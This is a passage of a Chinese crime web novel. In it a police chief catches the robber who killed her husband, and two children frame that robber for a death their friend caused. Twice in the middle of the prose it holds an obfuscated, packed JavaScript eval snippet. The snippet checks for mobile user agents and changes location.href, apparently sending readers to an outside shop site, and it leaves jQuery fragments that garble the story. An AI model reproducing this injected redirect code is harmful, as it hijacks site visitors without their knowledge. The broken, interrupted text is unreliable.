“要不你自杀吧?反正你现在活得和条烂狗也没区别了。” 老曲阴森森地看着他,喉咙里是破旧风箱一样的笑声。 “嗬、嗬……呸!” 他一口浓痰吐在曲老大脸上。 ?!! 曲老大瞪大了眼睛,大脑瞬间宕机,又马上被暴涌而出的愤怒填满。 “老家伙!你!你有病吧!你——” 他气得话也说不完整,一拳对着老曲的脸上捶了过去! 咚! 老曲被整个人甩在地上,发出一声沉重闷响。 咚、咚、 门被敲响。 “曲超英,你在家吗?我们是治安局的,有事情,需要你和我们走一趟。” 门外的人说。 治安局? 曲超英的手不自觉抖了一下。 “我、我在。” 他走过去打开门,神色惴惴。 “之前你和吴志的互殴案件,现在有一些细节,需要你和我们回到局里确认。” 带队的治安官说。 吴志? 哦,那个拆迁队的。 曲老大想起来了。 当时吴志带人过来强拆,正好遇上了从地下赌场回来的曲老大,二人口角演变为斗殴,邻居报了案。 曲老大紧张地点头。 之前笔录时候,他说自己是打零工回来,难道被识破了? 他后背渗出冷汗。 治安局里, 隋局长将吴志的照片放在案件板上,将他和“荒地”连起来。 根据老亏的线报, 吴志曾在荒地招募过拆迁队队员。 而那一天,恰恰是“哑巴”出现在荒地的第一天,这个哑巴当时也跟在吴志身后。 突然出现在重平,很可能是飞车党成员,所有销赃的人里,唯独他指派去销赃的孩子说了“南市”…… 那个哑巴很奇怪。 咚、咚。 办公室的门被敲响。 “头儿,我们刚才捣毁了飞车党销赃点,你要看一眼赃物吗?” 下属问。 “好。” 隋局长点头。 咚、咚。 鞋跟走在地上。 隋局长看着这一批赃物,大多数都是首饰,黄金和白银都有,还有些挎包、钱包。 隋局长的脚步停下。 咚——咚——! 所有声音全部被抹去,蒙上极厚玻璃,她只听见自己的心跳声无限放大。 在一堆首饰中,有一枚戒指安静躺在其中。 白金戒指,款式很简单,没有特别的花纹,只是上面雕刻了着一只大雁。 隋向雁的心脏剧烈地跳动着。 无名指上的婚戒仿佛变成烧红的烙铁,紧紧箍住她的呼吸声。 居然, 果然。 77. 芳芳纺织厂(29) “最近在重平市的飞车党中,躲藏着从南市流窜过来的抢劫杀人犯!” “该嫌疑人在南市曾经犯下多起抢劫杀人案,杀害过至少三名受害者,并且——” 隋局长的声音卡住一瞬,又马上接上: “并且杀害过一名治安官。” 贴满照片和线索的白板上,一张素描被放到最中心。 素描上是一个身材矮小的中年男人,头发很短,明显没有被修剪过,杂乱地在头顶竖起。 他长相敦厚,皮肤晒得很黑,有种农民的朴实感。 “之前芳芳纺织厂职工被抢劫杀害的案件,这个人也有着重大嫌疑!受害人在死前笔录时,曾经提到过,犯人是一个‘新来荒地’的拾荒者。” 另外一名治安官迅速补充: “我们昨天的联合行动中,清剿了六个飞车党的销赃点,还抓住了十二个‘飞车党’犯人。但这些人里没有他。” 隋局长点头,神色严肃: “根据我们的线报,这个嫌疑人非常敏锐,有一定的反侦察能力。他很可能早就发现了我们的行动,所以早早躲藏起来了。” 有治安官提出: “我们现在应该在各个汽车站和火车站重点布控,以防他再次逃窜!” “不,他不会马上就试图离开。之前在南市,他也是等了一个半月之后,在我们布控松懈下来的节点才流窜到重平的。” 隋局长否决了这个提议。 她手上的证物袋里放着一枚婚戒。 “这是,之前在南平殉职的,那位治安官的,私人物品。” 这句话,她用了很大的力气才说出来。 “嫌疑人将这个戒指混在飞车党的赃物里进行销赃,意味着他将‘重平’市定义为了相对安全的地方。” “所以他会比在南市时,更加放松警惕,可能会留下他没有掩盖彻底的行踪证据。” 隋局长将证物袋放下,她的手按住自己无名指上的戒指。 金属被按压下去,重重压着骨头, 疼痛让大脑短暂从痛苦中抽离。 “一半人去布控所有交通枢纽,另一半人继续排查其他线索,去确认吴志和该嫌疑人是否产生过接触和冲突。” 隋局长声音平静地下达指令: “继续控制曲超英。让人放出消息,说我们认为飞车党行动已经圆满成功,吴志是因为拆迁队矛盾被曲超英杀害。” “所有行动务必隐秘谨慎,绝不能让嫌疑人再次警惕起来。知道了吗!” 她目光如炬,看过会议室内所有人。 “是!!!” 治安官们迅速站起身,对她敬礼,齐声喊道。 - 给闵朝言做笔录的是个很年轻的治安官,看上去刚刚从学校毕业没多久。 她问到一半,有人进来递了一张纸条。 “我大概知道了,你也只是意外看见的。谢谢你主动报案,帮助我们工作呀。” 年轻治安官将纸条折起放在袖子里,对着闵朝言笑。 “就到这里吗?” 闵朝言问。 “嗯,就到这里吧。” 治安官点头。 她没有问很多问题, 只是让闵朝言复述了一遍当时的场景。 闵朝言也都如实说了, ——除了遇见倪淮玉那个部分。 她从笔录室走出来,目光瞥向被掩起来的会议室门。 闵父坐在椅子上等着她。 “言言。” 他对着女儿伸出手。 “我们今天在原来的家住吗?” 闵朝言问。 闵父的手一顿,他低下头看着女儿。 “我们去新家住。” 他说。 “我想在原来的家里住。” 闵朝言眨了眨眼,只说: “最后一晚上。” 她没有撒娇,也没有任何祈求的意味,很平静地说出自己的要求。 平静得,像是她从内心相信,她的期待理所当然地,就应该被满足。 只要她想要的东西,就理所当然地应该被她得到。 “好。” 闵父回答。 闵父照例去给妻子送饭,闵朝言走进自己的房间。 在窗户底下的阴影里,倪淮玉安静地坐着。 他身上依然披着闵朝言的外套,月色落在他的睫毛上,在如玉的脸上投下一片阴影。 闵朝言走到他对面,伸出手。 倪淮玉很慢地眨了眨眼睛, 一颗橘子软糖出现在他模糊的视线中。 “我……没想过会变成那样。” 十六岁的男孩,声音嘶哑,终于开口。 “我没想过要……” 他神色恍惚。 “不重要。” 闵朝言开口,低下头,掰开倪淮玉的手掌,将橘子软糖放进他的掌心。 “你想过什么都不重要了,重要的是,我会帮你的,倪淮玉。” 她看着他说。 咿呀—— 房门被很轻地推开,几近于无的脚步声响起。 “阿言。” 一个声音在闵朝言身后。 “嗯,你来了。” 闵朝言露出一个笑容。 曲让尘站在门口,耳根微红,手里还抱着一个小盒子。 忽然,他的眼神一顿,直直落在闵朝言身后。 “阿言?” 曲让尘的眼中露出一点疑惑来。 “这是倪淮玉,是我的朋友。” 闵朝言说。 “我要帮他。” “嗯。” 曲让尘点头,一副很乖不多问的样子。 他的视线却一直没有离开过倪淮玉的脸。 曲让尘抱着盒子的手渐渐收紧。 倪淮玉。 曲让尘知道这个人的存在。 在三年前,被老曲带着来到五号楼闹事闹房子的时候,曲让尘就见过倪淮玉。 不过,那个时候的曲让尘完全不在乎这个世界上的任何人,自然也不会记住倪淮玉。 他真正“认识”倪淮玉,是在这个人已经消失在闵朝言的生活之后。 倪淮玉, 这个人居然可以进公主的房间? 凭什么?! 曲让尘心中无端升腾起一股怒火。 “倪淮玉,这是曲让尘。” 闵朝言对着倪淮玉说。 倪淮玉没有回答,只是抬手轻轻拉住闵朝言的衣角。 “不用怕,曲让尘会听我的话。” 闵朝言说。 用她一贯的,平静的,理所当然的语气。 仿佛曲让尘顺从她,听从她,是这个世界上最简单也最无需质疑的必然。 曲让尘的心小小地雀跃了一下。 倪淮玉恍惚的目光缓缓落在曲让尘的脸上。 他对曲让尘是没有印象的。 一个男孩,很瘦,很白,穿着的衣服是旧的,但洗得非常干净。 眉眼很精致,精致到了雌雄莫辨的地步,即使脸颊已经瘦得不像样子,依然无法掩盖他天生的那份惊艳。 倪淮玉的心轻轻揪起来。 可以这样自然地进入闵朝言家中,甚至被她默许了可以用如此自然地姿态推开她的房门。 这个男孩已经得到了闵朝言如此的信任吗? 倪淮玉垂下眼, 错失的三年在此刻化作刺痛的实感。 “你好。” 曲让尘说。 他并没有走近倪淮玉,依旧站在闵朝言身边。 “我叫曲让尘,是阿言的。” 他说。 阿言的? 阿言的什么? 倪淮玉的目光沉下去。 没有后缀, 因为无需后缀。 曲让尘的自我介绍,就是“阿言的”。 ——从属于闵朝言。 一听就不正常的自我介绍, 却让他心生羡慕。 倪淮玉低下头,将脸颊埋在膝盖中间。 他不想说话。 他决定沉默,无力,孤独, 然后…… “倪淮玉,我会告诉你要怎么做。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764832|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闵朝言抬手摸着倪淮玉的头发。 倪淮玉抬眼看着她,安静点头。 他的发丝柔软,落在闵朝言手心里,勾起一点痒。 沉默,无力,孤独, 然后,她就会来拯救他。 倪淮玉闭上眼睛, 任由她的手掌抚摸过自己的脸颊。 他其实没有那么慌,也没有那么怕。 最开始的一瞬间最艰难, 他必须面对自己的所做作为。 但楼顶的冷风很快将倪淮玉吹醒。 那个男人没有资格毁掉他的人生。 倪淮玉有不能放弃的东西,有活下去的理由。 他不能坠落。 但是该怎么做? 他还没来得及想这些,就听见了闵朝言的声音。 这听起来简直就像是幻想小说,当时闵朝言离他足足有两层楼的距离,他怎么可能听见。 可倪淮玉相信自己就是听见了。 就像是他在过去三年中一样,在每一个他觉得自己无法支撑下去的瞬间, 他听见了闵朝言的声音。 那声音让他知道,在这个世界上,他还不是完全彻底的一个人,还有一个人会在乎他,会看见他。 “帮帮我,小孩。” 他闭上眼睛,将额头抵在闵朝言肩膀上,低声说着: “救救我。” 救救我吧。 - 早上五点,天还蒙蒙亮。 程新将双手塞进棉服袖子里取暖,缩着脖子从看守所大门走出来。 不远处站着一个人,她眯起眼睛看过去,脚步顿住。 是闵长风。 “出来了?” 闵长风走过来,给她披上棉服外套。 很暖和的棉衣,比程新身上这件穿了两年的破棉衣要暖和太多了。 “你怎么来了?” 程新抽抽鼻子,有点想哭。 “你是我最好的朋友,我怎么能不来。” 闵长风低着头,给她系上扣子。 “接下来打算怎么办?” 她问程新。 白百福因为年纪小,没有被追责。 程新当时拿刀反击的行为被判定为正当防卫。 她们母子俩都得到了死者母亲的谅解书,所以没有被提起公诉。 这件事情,至少在程序上, 终于是彻底过去了。 面对闵长风的关心, 程新沉默半晌,自嘲般摇摇头,苦笑一声。 “不知道,先努力活着吧。” 最终她也只能这样说。 闵长风没再说话,只是将一个信封塞到程新手里。 信封鼓鼓囊囊。 “这里面有五千块钱,你拿着钱,带孩子去南方生活吧。” 闵长风的声音发闷。 “南方机会多,也没人认识你们。一切都重新开始,孩子也能好好长大……” 闵长风的话没说完。 程新忽然一把抱住了她,手臂勒得她后背发疼。 “长风,谢谢你,但是钱我不能拿。我知道你现在也难。” 程新抹了一把眼睛,眼圈通红。 五千块钱,即使是对已经成为副厂长的闵长风来说, 也是一笔需要咬着牙才能拿出来的费用。 “不光为了你,也为了百福。拿着。” 闵长风眼神坚定。 “就当是你借的,以后再还给我,多少利息我都收下。” 程新的手被紧紧握住,那信封的重量让她眼泪止不住地掉。 “南方机会多,说不定你以后就是大老板了,我还要去投奔你呢。” 闵长风短促地笑了一声。 那笑声被泪意堵着,她别过头去,只说: “程新,你要好好活着。把以前那些破事,都忘了吧。” 程新紧紧抱着她,没说话。 太阳蒙蒙亮着爬上来了。 透过薄雾,驱散阴霾,平等着照耀着大地。 太阳从不逃跑, 所以人们只能自己躲进阴影里去。 78. 芳芳纺织厂(30) 呼——呼——! 脚步重重踏在雪地上,积雪被踩实的声音在夜色中回荡。 快一点,再快一点! 该死,那个崽子居然敢出卖他!! 他要杀了那个崽子,要剥了他的皮!! 哑巴用尽全身的力气踏在雪上,双腿已经酸痛到麻木,肺部鼓胀刺痛,每一次呼吸,他都尝到自己嘴里的血腥味。 他的嘴巴大张着喘气,露出里面缺了半截的舌头。 “嫌疑人张泛,现在立刻投降!” 身后传来治安官的喊声。 “嫌疑人张泛——” “嫌疑人——” 声音从四面八方传过来,哑巴在大雪中停下脚步仓皇四顾间,他已经没有任何路可以走。 怎么办?怎么办!? 不,不能投降,不能停下! 哑巴的眼睛瞪大,呼吸急促而粗重。 他知道自己犯下的是怎样的罪责,如果被抓住,除了死刑,他不可能得到任何其他的判决。 “嫌疑人张泛!!!” 呼喊的声音还在继续。 张泛双眼通红,长相憨厚的脸上凶相毕现。 他握紧自己藏在袖子里的匕首,猎猎杀气不再隐藏。 如果要死, 他也要带上这几个臭条子一起死!!! 张泛停下脚步,翻身一躲藏在路边的垃圾桶后边,在治安官小心接近时,忽然用铁皮垃圾桶的盖子当作盾牌,一把撞在治安官的脑袋上,然后高高举起匕首—— “狙击手准备。” 潜伏在楼房中的狙击手,手指扣紧板机。 “目标已就位。” 她回答。 “即将射击。” 她按下扳机。 砰——! 子弹射出。 砰——!砰——!砰——! 张泛高高举起的手臂被子弹击中,炸开一朵血花。 紧跟着,是左腿、右腿、躯干,全部被子弹贯穿。 “嗬……” 张泛倒在地上,因为痛苦肌肉疯狂地抽搐,他试图哀嚎,可被子弹贯穿的肺部让他的喉咙里只能涌出血沫。 “目标已击中。” 狙击手声音平静,收起枪。 她摘下护目镜,站起身,露出自己的面孔。 是隋局长,不,隋向雁。 二十三岁那年,她成为了南市最年轻的一级狙击手。 一年前,她曾以为自己从今往后,再也无法端起狙击枪。 一年前,她因为顾及人质,迟迟没有按下扳机,这份迟疑让张泛有机可趁,逃窜离开。 在后续对张泛的追击中,她的丈夫为了保护平民殉职。 他的尸体被推进滚滚江流中,连手上的婚戒,都被抢走。 当时的劫匪蒙住了面部,隋向雁不知道他的长相, 但一个狙击手,绝不会忘记目标的身形,特征和走路时的姿势。 不需要任何继续查证, 在狙击镜内看到张泛时,隋向雁就知道: 这个人,就是凶手。 “隋局,嫌犯已经控制住了。” 有治安官在耳麦中和她汇报情况。 “好。先送医,等他情况稳定了再笔录。” 隋向雁说。 她的枪法控制得很准, 子弹只会贯穿他的三肢和肺叶,会让他极度疼痛并失去行动能力,但不会危及生命。 这个人要被法律审判, 而不能仅仅死在她的枪下。 隋局长回到治安局,走进笔录室, 一个小男孩坐在椅子上,很安静地等待着。 “谢谢你对我们的帮助,那个犯人我们已经抓到了。” 隋局长说着,在椅子前蹲下。 她的态度没有一点面对孩子时,大人惯有的轻飘飘,反而十分郑重,甚至可以说得上感激。 “我,我之前帮过他,我是不是做了坏事。他会不会来报复我?” 那孩子眼泪要掉不掉,似乎吓坏了。 男孩十来岁的模样,很瘦,皮肤极白,近乎丧失了血色后肌肤背后血管透出的蓝调。 尽管极度瘦削,却依然无法掩盖他精致漂亮的眉眼,仿佛一尊瓷娃娃版,脆弱而美丽。 “你不知道那是坏事,而且,你今天帮了我们很大很大的忙。” 隋局长看着他,忽然沉默,看着男孩的眼睛。 “我很感谢你。” 她说。 男孩没有说话,安静地点点头,低下头,声音很小: “那,我什么时候可以回去?哥哥也在这里,我很害怕。” “哥哥?” 隋局长问。 “嗯,我哥哥叫曲超英,我不想见到他。” 曲让尘很可怜地眨巴着眼睛,露出身上的疤痕来。 “这是他打的?” 隋局长的眼睛睁大。 这些伤痕重重叠叠,足可以想象,这个年纪不大的孩子,是在怎样的虐待中生活的。 曲让尘不说话,瓷娃娃一样的男孩红着眼圈,像是被吓到噤声的小兔子般默默垂泪。 其实这些伤痕都不是曲老大打的。 曲让尘现在挨打的次数少多了,老曲也没什么力气再用拐杖抽他。 今天身上有这些伤疤,全靠他来治安局之前自己从楼梯上滚下去,两次。 “我知道了,你先回家,别的不用担心。” 隋局长说。 曲让尘没让人送,自己一个人离开了治安局。 他的脚步踏在雪上,将雪踏实,发出一声声脆响,脚步渐渐轻快起来,心脏也随着大雪向上飞跃着。 踏、踏、 曲让尘在转入五号楼前,回过头谨慎地看着,确认没有人跟在自己身后,才飞快地进入单元楼,踏上楼梯。 一楼,二楼,三楼, 他在闵家的房门前停下。 房门只是虚掩着, 他抬手推开,里面灯光还亮着。 “怎么样?” 一个声音传来,经过功放,显得有些模糊失真。 但这声音依然让曲让尘不自觉露出笑容。 “阿言!” 他雀跃地回应着。 “一切顺利吗?” 闵朝言说。 她的声音从一部小灵通中传出来,手举着小灵通的是倪淮玉。 “嗯,和你想的一样,犯人被抓住了。” 曲让尘回答。 时间回到一天前,在太阳落下之前。 玲玲玲—— 曲让尘戴着手套在荒地捡瓶子时,身上的小灵通响起。 他连忙放下手中的东西,却发现那上面显示的不是闵朝言的号码,有些失望地皱起眉,没有接。 玲玲玲—— 小灵通再次响起。 曲让尘面无表情地按下接通。 “你、你帮*我买一&张车票,我、给(*钱。” 一个声音响起。 嘶哑,模糊,发音很不标准,似乎用了很大力气才说出来这句话。 谁?他不认识这个声音。 曲让尘愣了一下,想要再次挂断。 “往、左看。” 那古怪声音说。 曲让尘向那个方向看去,没想到看见的却是一个熟悉的人: 哑巴。 原来哑巴不是哑巴,他会说话。 “你想要车票?” 曲让尘没有走过去,在小灵通里问。 “车、票。” 哑巴的舌头似乎缺了一块,说起话来非常费力,一个字一个字往外吐: “尽、快,给我。” 哑巴挂断了电话。 一个易拉罐瓶子缓缓被滚到曲让尘脚边,那里面装着一堆杂乱揉在一起的零钱,大多是二十和五十元的面额。 这是车票钱,和曲让尘的“酬劳”。 曲让尘捡起易拉罐, 一路小跑着离开荒地,然后——跑进了闵家。 他在路上停了一站,进入一个商店,出来时,手上多了一个小盒子。 踏入单元楼之前, 曲让尘看见治安局的车鸣着笛驶远。 他躲在阴影里, 直到那笛声彻底消失。 进入房门,他就看见了闵朝言,和看似呆坐着,实际上和闵朝言距离极近,几乎贴在一起的倪淮玉。 “说起来,你过来做什么?” 安抚一样地轻轻拍着倪淮玉的后背,闵朝言转头看向曲让尘。 一般时候, 曲让尘不太会在这个时间过来。 “哑巴,让我给他买车票。” 曲让尘说。 闵朝言对飞车党和哑巴的事情都很感兴趣。 曲让尘刚才没有直接拒绝哑巴,就是因为他觉得阿言必然会觉得这件事有趣,并且想要玩上一回。 在这个游戏里,曲让尘就是她的小棋子,按照她的指令去行动,为她带来游戏的乐趣。 这是曲让尘最喜欢的工作。 “他没被抓?” 闵朝言若有所思。 她从隋觉荆的口中听到过,治安局对飞车党进行了一场清剿活动,绝大部分人都落网了。 看来那个敏锐的哑巴是逃脱了。 闵朝言若有所思。 “帮他吗?” 曲让尘问。 闵朝言没有说话,她拿出一张草稿纸,随手放在箱子上就开始写写画画。 吴志的死不是意外, 这是倪淮玉亲口告诉她的。 而且,刚才,倪淮玉的小灵通从吴志的尸体上摔了出来。 虽说在那个高度,加上雪水的浸泡,小灵通必然已经损坏,不可能再被查出什么信息,但总归是个隐藏的麻烦。 闵朝言不可能将证物从治安局里偷出来。 这个时候,如果有什么东西,能让治安局的视线从吴志的死亡上移开,就帮大忙了。 比如, 正在逃窜中的飞车党残余。 用水笔将“哑巴”的名字打上一个圈,闵朝言的眼睛渐渐亮起。 甚至…… “你说,你在荒地看见过吴志招揽拆迁队的人,而且哑巴也跟上去了。他们两个认识。” 闵朝言看向曲让尘。 “有一次哑巴给我那些首饰去卖时候,吴志来找他喝酒。他们认识。” 曲让尘点头。 哑巴,荒地,飞车党,吴志…… 看似无关纷乱的线索一点点被连接起来,闵朝言闭上眼,大脑中迅速构建起一张地图,将所有的脉络汇聚在一起。 还差一点。 怎么能把这些东西彻底连在一起? “倪淮玉,你身上有吴志的东西吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773342|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闵朝言问。 倪淮玉垂下眼,默默将一只手表拿出来。 那手表的金属表带上,有一点点血迹残留。 曲让尘缓缓眯起眼睛,他认识这只表。 这是吴志的表, 他现在在拆迁队傍上了“大哥”,很爱显摆自己,前几天买了一只不便宜的水货港表,遇见谁都要拿出来显摆。 荒地里有不少人见过。 “曲让尘,你把这个表偷偷放在哑巴身上。然后去治安局举报他的行踪。” 闵朝言眼睛一亮。 她戴上手套,拿起这只表,眼中有种欣然的满足感。 所有的脉络都会聚到一起。 “哦,对了,你还可以顺便把你那个哥哥解决一下。” 她轻笑了一声。 “他不是常常对老曲态度很差吗?老曲身体那么差,就算被打死了,好像也不奇怪吧?” “殴打未成年人,虐待家庭成员致人死亡,也是罪呢。” 闵朝言轻笑着说: “书上说的。” 窗外大雪纷纷,闵朝言转向窗户,抬手接下一片雪花,看着它们在自己的掌心缓缓融化。 她的冒险游戏, 好像可以完美通关了。 - “1999年12月31日,一名流窜在我市的连环杀人犯被抓获。据悉,该犯人曾经在南市犯下多起抢劫杀人案,曾袭击并导致一名治安官殉职……” “在流窜到我市后,该犯人曾在芳芳纺织厂附近又犯下一起抢劫杀人案,导致一名纺织厂工人重伤身亡……” “该犯组织了数名‘飞车党成员’,在逃脱围剿,并在逃窜前夜又犯下一起抢劫杀人案,并伪装为被害者醉酒坠楼……” 隋局长站在发言台前,声音坚定,眼神坚毅,一字字念出稿件上的内容。 眼前的闪光灯明亮,耳边噪音响亮, 她直面前方镜头,发言没有一次卡顿。 这是她等了太久的结局。 拘留所内,曲超英看着电视机上的内容,不断挣扎着想要挣脱手铐,声嘶力竭大喊: “你们都看见了,我没杀人!我没杀吴志!为什么还关着我,放我走!” 咚——!!! 电棍重重甩在他面前的铁栏上, 身穿狱警制服的中年人语气很硬: “曲超英,你现在是因为涉嫌虐待致人死亡罪被逮捕!注意态度!” 虐待罪?什么罪? 曲超英的眼神迷茫。 “你爸昨天已经宣告死亡了,法医查验之后,是重击导致的内脏出血。我们进行查证走访,只有你对他进行过殴打!” 狱警声音冷硬。 什么?死了? 曲超英只觉得浑身血液瞬间冰冻。 “不,不可能!我只是踹了他一脚,不可能杀了他的!” 曲超英抓住铁栏,拼命辩解。 但现在, 已经没有人会听他在说什么了。 - 芳芳纺织厂, 闵长风将最后一份并购文件签署完毕。 和并购文件一起放在厂长桌子上的,还有一封辞呈。 “小风,你不再考虑考虑了?” 厂长喝着茶,声音温和。 “感谢厂子这么多年对我的帮助,也感谢您这些日子对我的信任和鼓励,但我可能就是没什么出息的人吧。” 闵长风笑着说。 她多久没这么笑过了? 她自己也记不住了。 “离开了厂子,想做什么?” 厂长没有继续劝。 “我想开一家公司,让我们的工人们,都能有新的岗位,继续做自己会做,擅长做的事。” 闵长风回答。 她走出芳芳纺织厂, 转过身,最后看了一眼那扇大门。 十八岁中专毕业那年,她走进这里。 工作,结婚,生育…… 遇见好事和坏事, 遇见老师和朋友。 “再见了,芳芳。” 她低声说。 “等你好久了,怎么这么慢?” 一个声音在她身后响起。 谁? 闵长风转过头,眼中映入两个人影。 一个高而瘦削,眉目冷淡, 一个个子中等,笑起来时圆脸十分讨喜。 倪盛鸣,程新。 “你们……”怎么在这里? 她想问。 “我听说有人想创业呀,怎么能不带好朋友一起干?” 程新走过来,一把勾住她的肩膀。 “你想做什么?收容纺织厂下岗工人的话,最好从服装业开始。” 倪盛鸣推着自己的银边眼镜。 “你们都要和我一起?” 闵长风愣住了。 “对啊,不愿意?” 程新笑着说。 “倪姐也……” 闵长风眼神震动。 “咳,给别人打工终究是打工,还是要做自己的生意。” 倪盛鸣抬起下巴,声音平静中带着自信。 “我们三个一起,” “就一定可以做到。” 在阳光明媚到刺眼的一天, 重平市连下数日的大雪,终于停下了。 新的世纪到来了。 79. 芳芳纺织厂(31) 重平市,第一医学研究所。 “小师姐,你还不走吗?” 解剖室的门被敲响,一个染着粉色头发的脑袋探进来。 “我差最后一点,你先走吧。” 穿着白大褂的女生转过头来,微笑着回答。 她身量高挑,一头黑发利落扎起,露出光洁饱满的额头,戴着一副黑框眼镜,眼神温和,似乎总是带着盈盈笑意。 “小师姐,虽然用功是好事,但是也不能生活里都是工作呀。” 粉发女生笑着和她告别。 关上解剖室的门,有新生凑上来问:“师姐,刚才解剖室里的,是不是就是闵朝言师姐呀?” 粉发女生一笑,神色飞扬: “对啊,你应该听说过她吧?” “那当然了,谁没听过闵师姐的事迹!我在学校论坛里看到帖子,说她不仅是咱们学校建校以来最天才的学生,从入学以来一直是全科第一!” 新生激动地脸颊泛红: “我和闵师姐是一个高中的,她简直就是学神!9岁上初中,15岁就考上了直博!不过,老师说她高中的时候一直想去治安官学校考取法医专业。怎么后来反而来了医学研究所当法医?” “论坛里都猜,她肯定是有什么隐性病,不能报治安官学校。师姐,这是真的吗?” 她问粉发女生,眼神里有点疑惑。 粉发女生一笑,弹了一下她的额头: “这种事我怎么会知道。这种论坛里的小道消息看看就算了,你还是好好担心自己下节课的小测吧!” 大学生们交谈打闹的声音渐渐远去,闵朝言拿起手中的解剖刀。 刀身光洁锋利,在月色之下,光华毕现。 “你又是为什么死去的呢?告诉我,是谁杀了你。” 她抬眼,舌尖舔过唇瓣,心中升腾起期待。 刀刃划开肌肤,破开肌肉组织,黑框眼镜之下,那双漆黑如墨的眸子里,满是兴奋。 脏器,骨骼,被剖开的肠子柔软地在她手中趴伏着,像是安静死去的肉蛇。 “啊,是你自己杀死了自己啊。” 闵朝言的语气轻飘,毫不掩饰自己眼中的失望。 啪——! 她随手将肠子扔回体内,发出一声脆响。 闵朝言拿起笔,在记录单上写下几行字: 【2009年1月16日,尸检记录】 【死者肝脏处可见明显硬化病变…符合慢性乙醇中毒特征…血醇浓度为642mg/100mL…具备急性乙醇中毒条件…无体外伤及其他内脏损伤……】 【初步判断,死因为:】 她的手套上血迹黏稠,落在纸面上,印下一道黑红的污渍。 【长期酗酒。】 闵朝言百无聊赖地坐在椅子上,有些气馁地闭上眼睛。 该死, 她可是听说这个死者是有暴力伤人前科的街头混混,又被发现自己一个人死在了地下黑赌场门口,所以才主动请缨帮助医院急救部门做尸检的。 结果她宝贵的休息时间, 就换来这么一个无聊的结果! 闵朝言兴致缺缺地将手中的笔用力扔向角落,带着一点泄愤般的狠意。 带着血污的笔被一双手接住。 那是一双极美的手,肌肤白皙如冷玉,指节修长似竹,连骨节都精致分明,指甲被很精心地修剪圆润,透着很淡的粉色。 即使放大数千倍印成画报,都没人能挑出这双手任何一点不美之处。 “阿言。” 那双手的主人缓缓从阴影中走出。 青年人身量高挑,身材瘦削单薄,却无一丝羸弱姿态,面容精致。那张美丽到雌雄莫辨的脸上,微长的发丝被揽到耳后,睫毛浓密翘起,仿佛一尊瓷像偷得一点生机,化作人身,痴心凡尘。 “收拾吧。” 闵朝言看他一眼,尽管几乎日日相见,她的目光依然会为这份美停留。 “好。” 青年垂下眼,耳尖微微泛红,低下头时露出漂亮的下颌角,显出一点恰到好处的羞怯。 他戴上手套,黑色的胶皮手套紧紧裹住手指,将本已经近乎完美的修长指节修饰出一股惑人气息,冷玉一样素白的手腕露出一截,黑与白的强烈冲击带来难言的媚意。 月色萦绕下,分外动人。 闵朝言撑着下巴,看着他这副模样,原本烦闷的心情悄然轻快了两分。 怪不得古代武皇年逾七十还要养上好几个宠侍呢,这么一看着,心情是不错。 闵朝言缓缓勾唇。 “曲让尘。” 她声音里带着调笑: “你在勾引我?” 已经成长为美青年的曲让尘动作一顿。 他依然侧身对她,眼神却幽幽飘过来,抬眸瞧着闵朝言,眸色是极浅的棕,仿佛琥珀蜜玉在阳光下融化。 “要有用,才能算勾引呀。” 美青年幽幽叹息。 闵朝言没说话,安静看着曲让尘缝合尸体的动作。 初中毕业之后,曲让尘没再上学,他跟在闵朝言身后,安静做她的影子。 上课占座,下课打饭,替她做笔记,做一切生活中她懒得伸手的琐事。 明明那样漂亮的人,穿上宽大的衣服,戴上厚重的眼镜,头发梳下来时,又瞬间隐形在任何一个平凡大学生中了。 “这个结很漂亮。” 闵朝言歪头点评。 曲让尘抿着的唇微扬, 他的心脏又小小地跃起。 “今天晚上,你要回家吗?” 曲让尘小声问。 “我妈一定要我回去,不知道为了什么。” 闵朝言闭上眼,语气倦懒: “说等下让人来接我。” 她的指尖抵住太阳穴,眉头不自觉皱起。 最近一周,她总觉得头顶胀得发疼,那疼痛并不强烈,却过分绵长,是不是冒出水面,叫她烦躁。 十年前,闵长风和倪盛鸣、程新三人一起创立了一家服装公司,主要员工都是当年芳芳纺织厂的下岗工人。 闵长风总领全局,程新负责设计生产,倪盛鸣主攻市场运营,加上原纺织厂工人们的优越技术,数年下来,从承包生产到自主设计,还真成功建立起一个服装品牌。 去年闵长风看中了“网购时代”的新风口,带着团队跑去各个城市建立货仓,设计物流路线,算下来,闵朝言快半年没见过她了。 另一边,芳芳纺织厂在被卖给圳城地产之后, 对方因为在其他城市的过度扩张而资金链断裂。 圳城地产本想转手这块地皮回拢资金,不巧撞上重平市城市新规划出台,在纺织厂旧址的另一个方向划出了新的中心城区。 这下,纺织厂旧址的地皮价值一落千丈,无人接手,新地产公司们都抢着为了新区的地皮买单,谁也看不上这块注定成为郊区的地盘。 直到两年前圳城地产彻底宣布破产,那块地皮依然是搁置状态。 “阿姨半年没见过你,错过了你的十八岁生日,她可能想给你弥补吧。” 曲让尘完成缝合工作,摘下手套,走到闵朝言身旁。 他拿出酒精湿巾,仔仔细细将双手擦拭数遍,又很细致地涂上护手霜,连指缝处的一点肌肤都不放过。 随后,这双带着淡淡花香的手抚上闵朝言的额头,动作自然,白皙中透着淡淡粉色的指尖力量轻柔地按压着她的太阳穴。 “头又疼了?” 曲让尘问。 “嗯。” 